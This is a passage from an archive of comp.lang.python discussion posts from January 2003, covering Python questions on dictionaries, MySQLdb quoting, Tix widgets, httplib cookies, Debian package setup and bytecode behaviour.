Ah, my apologies for misunderstanding.  When you said "Haskell could
free *you* [emphasis added] from extra typing" I thought you meant _me_.

Clearly you meant the indefinite "you" and were not trying to give me
any personal advice.  No problem...

-Peter



From maney at pobox.com  Fri Jan 17 22:09:05 2003
From: maney at pobox.com (Martin Maney)
Date: Sat, 18 Jan 2003 03:09:05 +0000 (UTC)
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <mailman.1042735479.28310.python-list@python.org> <b06v5g$auj$2@wheel2.two14.net> <13a533e8.0301170008.34cd26ba@posting.google.com>
Message-ID: <b0aggh$e7m$4@wheel2.two14.net>

Peter Abel <p-abel at t-online.de> wrote:
> Sorry, when i didn't read the thread quite exactly,
> but I think your basic problem is something like this, which can
> be easily solved.
> I'm using PYTHON 2.2.2:
>>>> l1=['zero','one','two','three']
>>>> l2=range(5)
>>>> l1
> ['zero', 'one', 'two', 'three']
>>>> l2
> [0, 1, 2, 3, 4]
>>>> di=dict(zip(l1,l2))
>>>> di
> {'zero': 0, 'three': 3, 'two': 2, 'one': 1}

It is something like that, but the difference is sort of crucial.  For
the dictionary in your example, the source would be the single sequence

(('zero',0),('one',1),('two',2)('three',3))

Except that in practice, the key may be more than one field of the
nested sequences, as may the value.  So this doesn't reduce to a simple
dict(zip(...)) for any simple '...'

Besides, the dict() constructor seems not to exist prior to 2.2, and at
this time I still need most of my code to coexist with 2.1. 
Furthermore, when I ran some simple benchmarks, calling a separate
function ran significantly faster than an inline dict(zip(...)) for the
small (five to ten items) cases I'm most frequently building.  I think
I emailed the test proggy home before I left the lab - have to look for
it tomorrow.

Here's the bare sketch:

def dzip(keys, values):
    res = {}
    for k,v in zip(keys, values):
        res[k] = v
    return res

foo = dzip(field_names, field_values)

runs faster than

foo = dict(zip(field_names, field_values))

for cases where there are a few to a few tens of names & values.  Hmmm,
just occurred to me that, although I tried making local bindings for
other things, I never did that to dict or zip...

Okay, definitely need to repoen this can of worms... later.



From skip at pobox.com  Fri Jan 24 14:22:45 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 13:22:45 -0600
Subject: MySQLdb and strings with quotes / long strings
In-Reply-To: <3E318F4E.8010008@nipltd.com>
References: <3E318F4E.8010008@nipltd.com>
Message-ID: <15921.37509.834020.841286@montanaro.dyndns.org>

    Chris> I'm trying to put email messages into a MySQL database. I'm happy
    Chris> enough with the 65k character Text field length limit, however
    Chris> I'm having trouble getting the data in.

    Chris> I construct a SQL string insert into... set body='%s'... %(body)

    Chris> body has had body = string.replace(body, "'", "''") done to it,
    Chris> which should escape the strings with quotes in, but I get this
    Chris> traceback

It's probably easier to just let MySQL do the quoting:

    con = MySQLdb.Connection(...)
    cur = con.cursor()
    cur.execute("insert into ... set body=%s ...", (body,))

Skip




From jzgoda at usun.gazeta.pl  Sun Jan 12 12:03:42 2003
From: jzgoda at usun.gazeta.pl (Jarek Zgoda)
Date: Sun, 12 Jan 2003 17:03:42 +0000 (UTC)
Subject: newbie installation problems
References: <pan.2003.01.12.19.04.20.891104.2151@zonnet.nl>
Message-ID: <slrn.pl.b237cc.dmp.jzgoda@kotek.home>

jodocus <johocus at zonnet.nl> pisze:
 
> src/pygame.h:57: Python.h: No such file or directory
> 
> (of course, this error occurs in other files for other packages).
> 
> I checked, and there is no file named Python.h anywhere on my system. Is
> there some component I should have installed?

Python-devel (or -dev) I think, I'm not sure since I don't know SuSE,
but this is the name of RH package. On Debian it has -dev suffix.

-- 
Jarek Zgoda
http://www.zgoda.biz/
jabber:jarek at jabberpl.org|ICQ:178306476|GG:3422968|Tlen:jzgoda



From sismex01 at hebmex.com  Fri Jan 10 16:48:36 2003
From: sismex01 at hebmex.com (sismex01 at hebmex.com)
Date: Fri, 10 Jan 2003 15:48:36 -0600
Subject: moving items in a list
Message-ID: <F7DB8D13DB61D511B6FF00B0D0F06233035F72AE@mail.hebmex.com>

> From: andy [mailto:andy at eastonwest.co.uk]
> Sent: Friday, January 10, 2003 3:42 PM
> 
> And that was, er, about 20 years ago.  I've never seen a 
> language that could 
> do that any better without a 'swap' function.  
> 

BUT it's not a *true* swap... more to follow.

>
> a,b=b,a  # how much more obvious can you get?
>

Indeed. :-)
 
> Just goes to show that you need to talk to people about 
> Python - just applying what you already know from (even
> 20+ years of) programming experience IS NOT ENOUGH.  That
> would never have occurred to me...
> 
> -andyj
>

In this form ("a,b = b,a"), what actually happens behind
curtains is that, first, a tuple is created with (b,a),
and then, that same (temporary) tuple is unpacked into
(a,b).  It might take more time to do this operation,
than to do something like:

  _ = a
  a = b
  b = _

where "_" is some temporary variable.

Alas, there's no free lunch.  Although, it might be possible
that an optimizer might recognize cases such as these (pack-unpack)
and optimize it away into two sequential STORE_FASTs, because
the object references are already in the stack.

So, now, it does a LOAD_FAST (b), LOAD_FAST (a), CREATE_TUPLE,
UNPACK_SEQUENCE, STORE_FAST (a), STORE_FAST (b).  Where, it might
be able to skip the CREATE_TUPLE/UNPACK_SEQUENCE pair and simply
LOAD_FAST / LOAD_FAST / STORE_FAST / STORE_FAST, much better, no?

Anywho, that's life for ya. :-)

-gustavo




From bokr at oz.net  Mon Jan 13 12:04:30 2003
From: bokr at oz.net (Bengt Richter)
Date: 13 Jan 2003 17:04:30 GMT
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <mailman.1042403841.24976.python-list@python.org> <7x8yxqxeav.fsf@ruckus.brouhaha.com> <c76ff6fc.0301130206.ca90ba2@posting.google.com> <xpudnbPQNdfpfb-jXTWcpw@comcast.com>
Message-ID: <avuriu$e55$0@216.39.172.122>

On Mon, 13 Jan 2003 10:48:30 -0500, "Terry Reedy" <tjreedy at udel.edu> wrote:

>
>> > Seems simple enough to add a new code that combines the two? That
>> > would avoid breaking old compiled code.
>>
>> Could add more than one; below is the inventory of conditional jump
>> opcodes from a you've-never-heard-of-it language. All of the opcodes
>> pop the stack first and jump depending on the popped value.
>
>When I asked about this in August one answer was that this should not
>be changed until the 'new compiler' is finished (it still is not)
>because adding an opcode would create foward/backward incompatibilites
>that are not justified by such a minor optimization.
>
Has anyone taken a measure of exactly how "minor" it really would be?

I.e., it should be simple to instrument ceval.c to extern link to a temp module
with an integer array indexed by byte code value to increment for statistics.
An interface to retrieve the array as a list of integers and resetting it to
zero would also be simple. Ditto for a bigger array indexed by ((current<<8)|last)
byte code so we could see statistics for paired sequences like JUMP_IF_FALSE,POP_TOP.

If this has not been done, it really seems like it ought to be before any revision
to the VM.

Regards,
Bengt Richter



From nav at adams.patriot.net  Sat Jan 25 16:57:25 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 25 Jan 2003 16:57:25 -0500
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <cf333042.0301232326.582ac37@posting.google.com> <23891c90.0301240929.196ae7bf@posting.google.com> <yyyfzrinz8f.fsf@adams.patriot.net> <3E31BD57.C4AEDED8@engcorp.com>
Message-ID: <yyyy958nb96.fsf@adams.patriot.net>

Peter Hansen <peter at engcorp.com> writes:

> Yeah, pretty stunning to read.  Or did I mean to say it put me to sleep
> partway through?  I forget.

Being American, I lost track when he started talking about large
breasts, and never quite got focus back...

> It did sound a lot like Naggum was saying I shouldn't be using XML,
> however, but for some reason -- maybe because I'm finding it to be
> *so* effective at solving a wide range of problems -- I just can't
> get up the energy to adopt his "better" alternatives.... what were
> they again?  ;-)

I think he wanted domain-specific binary tags, or was it application- 
specific? The spec was ambiguous.

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From ripolles at LALALAaditel.org  Fri Jan 31 06:32:59 2003
From: ripolles at LALALAaditel.org (Eru)
Date: Fri, 31 Jan 2003 11:32:59 +0000 (UTC)
Subject: Broken debian python
References: <mailman.1044009149.17981.python-list@python.org>
Message-ID: <b1dmtb$512$1@sofora01.uji.es>

Egbert Bouwman <egbert.list at hccnet.nl> escribio:

> I have removed python, and installed python2.2, being 2.2.1-6
> 
> I try to install wxpython:
>    apt-get install libwxgtk2.4-python
>    
> That results in an error:
> [...]
> 
> How do I make debian accept the fact that i have the right python ?

Could you ACTUALLY remove python2.1 from debian? A lot of programs use
it, and haven't updates its dependencies. When I tried `apt-get remove
python2.1` (having installed python2.2), debian said it had to remove
lots of programs (mainly KDE programs BTW).

In brief, i wouldn't remove python2.1 for "stability" reasons. Anyway, 
you can change the soft link which decides which is de default python 
version. Just try this:

$ ls -l `which python`
[...] /usr/bin/python -> /usr/bin/python2.1

Debian by default sticks to python2.1 as the default version. You can
change this: 

$ ln -sf /usr/bin/python2.2 /usr/bin/python

This way, invoking `python` brings up python2.2 (instead of the default
already aging python2.1). I did this change myself and haven't experienced
any problems. Anyway, I didn't uninstalll python2.1 eventually (though
I doubt it's ever used). If you don't have space problems, I would recommend
doing something similar, until the dependencies have changed (or the versions
are recognized properly).

BTW, python2.3 is already installable as a debian package (if you use 
sarge, the testing version). It has some very interesting features, why
don't you install that one? (just a suggestion) 

-- 
Daniel Ripolles ( Eru )
a=[];print max([(l.count(j),j,a.append(j)) for j in l if not j in a])[1]
++ Prints the most repeated element in l ++




From eric.brunel at pragmadev.com  Wed Jan 29 06:25:58 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Wed, 29 Jan 2003 12:25:58 +0100
Subject: "\n" in unicode vs "regular" string: is this normal?
Message-ID: <b18dcj$2rh$1@news-reader12.wanadoo.fr>

Hi all,

Consider the following class:

class C:
   def __init__(self, s):
     self.s = s
   def __repr__(self):
     return self.s

Now run:

 >>> o1 = C("foo\nbar")
 >>> o1
foo
bar
 >>> o2 = C(unicode("foo\nbar"))
 >>> o2
foo\nbar

Is there a good reason why the result is different? The unicode stuff should 
take by default the standard encoding which is for me just plain ASCII. So why 
does the two objects have different representations?

I just stepped on this problem because of Tkinter returning plain strings if the 
text is only ASCII, but unicode strings otherwise. The text returned from 
Tkinter was wrapped in XML code by specific objects using __repr__ (which may 
not be a good idea indeed...). And it took me ages to figure out why on earth 
the text I stored in my file contained the string "\n" instead of actual line 
feeds...
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com




From support at internetdiscovery.com  Wed Jan  1 13:13:55 2003
From: support at internetdiscovery.com (Mike Clarkson)
Date: Wed, 01 Jan 2003 18:13:55 GMT
Subject: saving Tix ComboBox dropdowns
References: <el802ge9.fsf@cfl.rr.com>
Message-ID: <3e132f2a.1126548@news.look.ca>

On Mon, 30 Dec 2002 06:02:42 GMT, gcash
<gcash at luncheonmeat.cfl.rr.com> wrote:

>I'm using the ComboBox from the 2.2.2 Tix module.  I'd like to make a
>subclass that's persistant and can save the contents of the dropdown list.
>
>I know that's the "listbox" subcomponent of the "slistbox" component,
>i.e. I can do a cb.slistbox.listbox.get(0, 'end') to get the current list.
>That's the easy part.
>
>What I can't figure out is what kind of event to capture that will tell me
>when this list is updated.  

I'm not sure why  you are trying to do what you are trying to do,
 but I think you want the validatecmd command option
which is called before an entry is added to the listbox:

    Specifies a TCL command to be called when the -value of the
ComboBox is
    about to change. This command is called with one parameter -- the
new -value
    entered by the user. This command is to validate this new value by
returning a
    value it deems valid. 

http://tix.sourceforge.net/dist/current/man/html/TixCmd/tixComboBox.htm

Happy New Year,

Mike.




From peter at engcorp.com  Tue Jan 21 09:05:00 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Jan 2003 09:05:00 -0500
Subject: ZEO/wxPython
References: <3e2ce16e$0$7816$afc38c87@news.optusnet.com.au>
Message-ID: <3E2D538C.92ABDC03@engcorp.com>

Mike Thompson wrote:
> 
> I'm interested in writing a ZEO client using wxPython. Is this possible?
> 
> Would their event loops have to be unified?

What event loops?  ZEO isn't a GUI... it doesn't *have* an event 
loop, as I understand the term.  It's an architecture for multi-
system use of the Zope Object Database (ZODB).

It's probably quite straightforward to do this, although you might
want to describe what you are hoping to accomplish so we can help
you if you have the wrong idea about what these can do for you.

-Peter



From Kyler at news.Lairds.org  Sat Jan 11 18:26:02 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 11 Jan 2003 23:26:02 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <avoa2h$jt1$1@slb9.atl.mindspring.net> <16r5f-8k3.ln1@news.lairds.org> <7xbs2n7i10.fsf@ruckus.brouhaha.com>
Message-ID: <72k6f-stg.ln1@news.lairds.org>

Paul Rubin <phr-n2002b at NOSPAMnightsong.com> writes:

>> Yes, but the syntax clearly states that the matched text
>> will be accessible.  That is not true.  There is no way
>> to get it with any function.

>Something wrong with

>  m.string[m.start(g):m.end(g)]

>as described in the docs?

No, not if you're just trying to obfuscate m.group(g).

Are you claiming that it provides something more?

--kyler



From adalke at mindspring.com  Thu Jan  9 23:22:55 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 21:22:55 -0700
Subject: Do pythons like sugar?
In-Reply-To: <mailman.1042161419.24047.python-list@python.org>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08> <v85r1v0qlrqdtg0iooru2l88578983cfns@4ax.com> <avkeld$49$1@slb2.atl.mindspring.net> <mailman.1042161419.24047.python-list@python.org>
Message-ID: <avli95$cg5$2@slb9.atl.mindspring.net>

Geoff Gerrietts wrote:
> Another disclaimer we might like to add is "does not work under
> pythons earlier than 2.2", since it doesn't. dir(self) won't return
> attributes on the class or base classes prior to 2.2.

True.  I was thinking about that later, since the spec (as I
recall) says the behaviour of dir() is undefined.  I should
have used self.__dict__.keys().

However, my actual code would have worked since I was only
referencing instance variables.

					Andrew
					dalke at dalkescientific.com




From peter at engcorp.com  Fri Jan 24 17:14:35 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 17:14:35 -0500
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com> <b0sbn3$rk3$1@bob.news.rcn.net>
Message-ID: <3E31BACB.EA3D8CDA@engcorp.com>

"Aaron K. Johnson" wrote:
> 
> In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
> >
> > I don't understand. Number of unique posters in the last 200 posts to a
> > newsgroup I understand,
> > and 647 to the (one) Python newsgroup I understand, but I don't
> > understand how you get
> > 647 different posters out of the last 200 posts.
> >
> > Oh, and Clipper is an old data base language, somewhere in the dbase
> > family.
> 
> oops, sorry....I meant 2000!

So, among other problems, this means if a given newsgroup had a single
large thread with a half-dozen regulars posting ten times each in a
big argument, that particular language would appear less popular...

-Peter



From ndsystems at dataflux.bc.ca  Mon Jan 13 18:56:01 2003
From: ndsystems at dataflux.bc.ca (William Yeo)
Date: Mon, 13 Jan 2003 23:56:01 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org> <6e07b825.0301122230.7ad88822@posting.google.com>
Message-ID: <ndsystems-FA6EF1.15570613012003@shawnews.gv.shawcable.net>

Hail:

How about:  thinPy



From wyojustin at hotmail.com  Thu Jan 16 18:50:37 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Thu, 16 Jan 2003 18:50:37 -0500
Subject: VPython and JPEG?
References: <3uScnQrWTr5FgrujXTWcoA@comcast.com> <3E2685DF.3878B33A@student.anu.edu.au> <mailman.1042715376.1729.python-list@python.org>
Message-ID: <J6ednZjtXtvS2LqjXTWcqQ@comcast.com>

I'll check it out.   Thanks.
Justin

"Mike C. Fletcher" <mcfletch at rogers.com> wrote in message
news:mailman.1042715376.1729.python-list at python.org...
> Well this (if I understand what's wanted with "this") can be done with
> PyOpenGL, and by extension OpenGLContext. I don't generate texture
> coordinates for spheres in OpenGLContext at the moment, but
> IndexedFaceSets in OpenGLContext, and geometry in general within
> PyOpenGL certainly support texturing.  You can find code all over the
> place to describe how to do texturing in OpenGL.
>
> Enjoy,
> Mike
>
> >Justin Shaw wrote:
> >
> >
> >
> >>Does anyone know how to wrap an object in VPython with a jpeg image?
Like
> >>say make a globe by wrapping a sphere with the country boundaries.  If
not
> >>VPython do you know of any other 3D libraries that can do that in
python?
> >>
> >>Thanks
> >>Justin
> >>
> >>
> ...
>
> _______________________________________
>   Mike C. Fletcher
>   Designer, VR Plumber, Coder
>   http://members.rogers.com/mcfletch/
>
>
>
>





From max at alcyone.com  Sat Jan 25 20:40:33 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 25 Jan 2003 17:40:33 -0800
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net>
	        <3E323B85.9DF6D032@alcyone.com> <mailman.1043502166.19522.python-list@python.org>
Message-ID: <3E333C91.57480063@alcyone.com>

Skip Montanaro wrote:

> One might argue that more active discussion groups need more complex
> hierarchies to properly group the messages.

Sure, but quantifying that need with any artificial boosting that occurs
is not easy.

> Can you avoid the cross-post problem by simply counting unique
> message-ids?

Sure, although that wouldn't detect multiposts, although multiposts
_between_ language groups is probably not likely, though multiposts
between different subgroups of a hierarchy is probably moreso.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Walk a mile in my shoes / And you'd be crazy too
\__/ Tupac Shakur
    Crank Dot Net / http://www.crank.net/
 Cranks, crackpots, kooks, & loons on the Net.



From abelikov72 at hotmail.com  Mon Jan  6 18:57:46 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Mon, 06 Jan 2003 23:57:46 GMT
Subject: Simple httplib problem
Message-ID: <hs5k1vklegrthn41c3krdv8g8g1s8edfc5@4ax.com>

Can someone tell me what I am doing wrong here?

I need to get a file via http, but must login first, so I am doing two
requests. The login request succeeds and I get the correct HTML
response. But the second request to get the actual file I wanted (after
logging in) is throwing an httplib.ResponseNotReady exception.

I've replaced >>> with --- to avoid confusion with quoted text.

---h = httplib.HTTPConnection('123.45.67.89')
---h.connect()
---h.putrequest('GET','/default.asp?loginname=myuser&password=mypass&action=login')
---h.putheader('Accept','text/html')
---h.putheader('Accept','text/plain')
---h.endheaders()
---h.send('')
---r = h.getresponse()
---r.status
200
---r.getheader('Set-Cookie')
'ASPSESSIONIDGQGGHQKY=OFIPJJMABHNODAIFKFPDPMCN; path=/'
---cookie = r.getheader('Set-Cookie')
---h.putrequest('GET','/secure.asp')
---h.putheader('Cookie',cookie)
---h.putheader('Set-Cookie',cookie)
---h.putheader('Accept','text/html')
---h.putheader('Accept','text/plain')
---h.endheaders()
---h.send('')
---r2 = h.getresponse()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "C:\Python22\lib\httplib.py", line 752, in getresponse
    raise ResponseNotReady()
httplib.ResponseNotReady



From maney at pobox.com  Thu Jan 16 13:54:40 2003
From: maney at pobox.com (maney at pobox.com)
Date: Thu, 16 Jan 2003 18:54:40 +0000 (UTC)
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <mailman.1042735479.28310.python-list@python.org>
Message-ID: <b06v5g$auj$2@wheel2.two14.net>

Skip Montanaro <skip at pobox.com> wrote:
> 
>    maney> def list_to_dict(aList, key_indexes, value_indexes):
>           ...
> 
> In 2.3 (and somewhat earlier I believe), you can call the dict() type like
> so:
> 
>    >>> dict([("one", 1), ("two", 2)])
>    {'two': 2, 'one': 1}

Which is a little bit like, but not usefully since the key is neither
always the first item nor necessarily a single item in the source
records.

> You can, of course, smash your keys and values lists together using zip():

Oh yeah, I do that quite a bit, too (though not in the program that
gave rise to dict_from_list).

> 
>    >>> zip(("one", "two"), (1, 2))
>    [('one', 1), ('two', 2)]

So for the current use I'd have something like

theDict = dict(zip([(r[1],r[2]) for r in aList],
                   [(r[0],r[2],r[3]) for r in alist]))

Hmmmm.  I can't say it looks like an improvement over the simple loop
to my eyes.  If anything it's buried the distinguishing features - the
original list and the lists of indexes - under a slightly greater
weight of scaffolding.

There's some food for thought about related uses here, though.  Thanks,
Skip!



From db3l at fitlinxx.com  Tue Jan  7 14:10:31 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 07 Jan 2003 14:10:31 -0500
Subject: pyqt -> exe with py2exe and installer5b4
References: <5b8834c2.0301070830.4d7021e7@posting.google.com>
Message-ID: <u7kdgvkrc.fsf@fitlinxx.com>

hellprout at yahoo.com (hellprout) writes:

> somebody have an idea ????

You're probably going to have to provide more details.  I haven't used
PyQt and thus haven't packaged it myself, but in many cases a failure
like this means that the application (or a module it uses) is
performing some dynamic import tricks or has a dependency on some
special module attributes (like __file__) that may not be quite the
same when run in the packaged version.

You mention clicking on the application - I'd suggest that you first
try running it from a console window.  That way, if there are any
Python exceptions you'll be able to see them.  You may find that it is
complaining about a module it can't find - in that case double check
that the module is being included by the installer you choose.  For
Gordon's installer package, double check the log files and warning
file to see if it gave you a warning about special dynamic operations
that it can't follow.

If there is no obvious failure at runtime, then you'll probably need
to provide further information on the application - it would be best
if you could isolate it down to the smallest example that still fails
(e.g., see if just opening up a basic window works), and then post the
actual code and any installation configuration file (e.g., the spec
file in the case of installer) that you're using with it.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From judoscript at hotmail.com  Wed Jan  8 10:32:12 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 07:32:12 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <slrnb1ncej.n6a.grante@localhost.localdomain>
Message-ID: <52719db8.0301080732.15604813@posting.google.com>

Grant Edwards <grante at visi.com> wrote in message news:<slrnb1ncej.n6a.grante at localhost.localdomain>...
> In article <52719db8.0301071948.71364a03 at posting.google.com>, James Huang wrote:
> 
> >> If that's your definiton, all programming languages of which I'm aware are
> >> "scripting languages".  At least under Linux, issuing "OS commands" is a
> >> standard library function accessible to all languages.  C and assembly
> >> language can both use the exact same system() or exec calls that Python and
> >> Perl do.
> > 
> > Gee... Anyway, this is what I call scripting:
> > 
> >    copy '*.java, *.jj' except '*Test*' in '~/src/'
> >         recursive echo
> >         to '~/archive/today';
> > 
> >    copy '*.java, *.jj' except '*Test*' in '~/src/'
> >         recursive echo
> >         into '~/archive/today_src.jar';
> 
> Then python isn't a scripting language, since it can't do that sort of
> stuff.  I think.  I don't know what the language above is nor what the
> example does, but it appears to be manipulating files more-or-less directly
> the way a shell script does.
> 
> Here is how you do an os command in C:
> 
>  system("ls -l >foo");
>  
> Here is how you do the same thing in Python:
> 
>  os.system("ls -l >foo")
> 
> Not much difference, eh?
> 

I'd say quite different even in this example.

Keep in mind that was just one example how JudoScript is different
(albeit it does show the power of that particular copy command).
JudoScript's power is its collective strengths of all such features.
Let me pick a few:

  executeSQL {
    create table foo(.....);
    inser into foo (...) values (....);
  }

or

  preparedExecuteUpdate upd:
    insert into foo (...) values (?,?,?,?);
  with @1:int  = 1,
       @2:date = date(2003,1,8),
       @3      = 'abcd',
       @4      = 'efg'
  ;

or

  [sendMail example, in my other response]

or

  [HTML scraping example, in my other response]

or

  [thread programming example, in my other response]

or

  ... ... ...


> > This is programming, "scriptingly":
> > 
> >    do 'http://www.google.com' as sgml
> >    {
> >    <a>:   println '<a>   link: ', $_.href;
> >    <img>: println '<img> link: ', $_.src;
> >    }
> >
> > This is pure programming:
> > 
> >    for i from 1 to 10 {
> >      println i;
> >    }
> 
> Then python is "pure programming".

I tend not to say python is not a scripting language coz people have
been so used to that term. You first response made me struggle.



From peter at engcorp.com  Wed Jan  8 16:17:10 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 16:17:10 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com> <v1otjvkdoinp77@corp.supernews.com>
Message-ID: <3E1C9556.30D4C315@engcorp.com>

Greg Brunet wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote:
> > Given the loss in productivity involved with all those extra
> > keystrokes for the static typing information for the compiler, you
> > might reach a point where it is *less* effective overall to have the
> > static typing in place.  :-)
> 
> If things were that drastic - I would agree with you. The interesting
> thing is, even though I type in a few more keystrokes to define the
> variable types, I believe that I gain enormous benefits when I use the
> variables, or invoke functions & methods.  I tried to point this out in
> the Intellisense thread.  While I get some of this with Python, it's not
> nearly to the degree that is present with VB.  

Ah, if we expand this beyond error-detection to productivity 
improvements in actually typing the code, I would have to admit
the possibility that there could be significant advantages in the
way you describe.

I'm not *certain*, but I do get the feeling that with test-driven
development it's possible there is much less need for the kind of
coding where that actually helps.  I'm not saying it's necessarily
better, mind you, just that I don't recall missing this feature
lately, although I found it very helpful in Delphi and Java when
writing code (where I wrote code-and-fix mostly).

Since I'm "stuck" :-) with Python without the features you like,
I can't try your approach and compare my productivity.  Maybe,
therefore, once you've done a year of XP and Test-Driven Development,
with Python, you would let me know whether you still miss the 
code-completion features... ;-)

-Peter



From aleax at aleax.it  Wed Jan 29 17:53:35 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 22:53:35 GMT
Subject: Using C++ classes in python
References: <3E384CF9.8090006@ida.his.se>
Message-ID: <PXYZ9.138798$AA2.5735415@news2.tin.it>

Michael Andersson wrote:

> Is it possible to create a class in C++ that can be instansiated in a
> python script?

Yes, with a suitable helper library on the C++ side such as
Boost Python (see www.boost.org).


Alex




From lester at herven.noSPAMplease.com  Sun Jan  5 21:56:44 2003
From: lester at herven.noSPAMplease.com (Lester)
Date: Mon, 06 Jan 2003 02:56:44 GMT
Subject: migrating from Access
Message-ID: <Mf6S9.108144$k13.4219684@news0.telusplanet.net>

I am not a professional programmer, and have never taken a course, 
although I have a bookshelf full of books that I've started, so my 
programming knowledge is spotty, twenty years of messing about, so 
spikes of knowledge here and there, but not a lot of foundation.

Anyway, I have made a fairly large application for a client in Access 
and VBA that manages the reservation, administration and accounting for 
their banquet hall business.  I have made sure that I continue to own 
the IP for this application.

Now I would like to port it over to something free and cross platform. 
I would like to recreate the app and GPL it.  Python + MySQL looks good 
because I can read and understand the code examples in the book -- Perl 
gives me a headache.  BoaConstructor looks good.  Any thoughts on this 
would be appreciated.

More specifically,
In access I can assign the data source for a form (er, frame I guess in 
python) as an SQL statement, and then all the objects in the form read 
from the same record.  How would I go about achieving this in Python?

Thanks for your help.
Lester.




From martin at v.loewis.de  Wed Jan 15 20:24:49 2003
From: martin at v.loewis.de (=?ISO-8859-2?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 16 Jan 2003 02:24:49 +0100
Subject: Locale-sensitive list separator under Windows
In-Reply-To: <b04qa1$l5l8c$1@ID-135222.news.dfncis.de>
References: <b04qa1$l5l8c$1@ID-135222.news.dfncis.de>
Message-ID: <b051kv$230$00$1@news.t-online.com>

Adam Twardoch wrote:
> How can make Python resolve the locale-sensitive list separator under
> Windows? I mean the one that is set under Control Panel / Regional Options /
> Numbers / List separator.

Is locale.localeconv()['thousands_sep'] what you want?

Regards,
Martin




From skip at pobox.com  Wed Jan 15 11:02:34 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 15 Jan 2003 10:02:34 -0600
Subject: DistUtils and pyo
In-Reply-To: <119cb623.0301150640.4bdcd436@posting.google.com>
References: <119cb623.0301150640.4bdcd436@posting.google.com>
Message-ID: <15909.34330.361934.626971@montanaro.dyndns.org>

    stef> I need a distribution ONLY with .pyc files.
    ...
    stef> Can You help me?

find /usr/local/lib/python2.2 -name '*.pyo' | xargs rm -f

Skip




From ianb at colorstudy.com  Fri Jan 24 15:59:30 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 24 Jan 2003 14:59:30 -0600
Subject: Syntax modification idea: (classmethods, properties locking...)
In-Reply-To: <2259b0e2.0301240619.dc0a2f8@posting.google.com>
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE>
	 <mailman.1043356128.29302.python-list@python.org>
	 <2259b0e2.0301240619.dc0a2f8@posting.google.com>
Message-ID: <1043441969.21785.1224.camel@lothlorien>

On Fri, 2003-01-24 at 08:19, Michele Simionato wrote:
> Ian Bicking <ianb at colorstudy.com> wrote in message news:<mailman.1043356128.29302.python-list at python.org>...
> <snip>
> > That's reasonable, but still leaves the problem of composing these
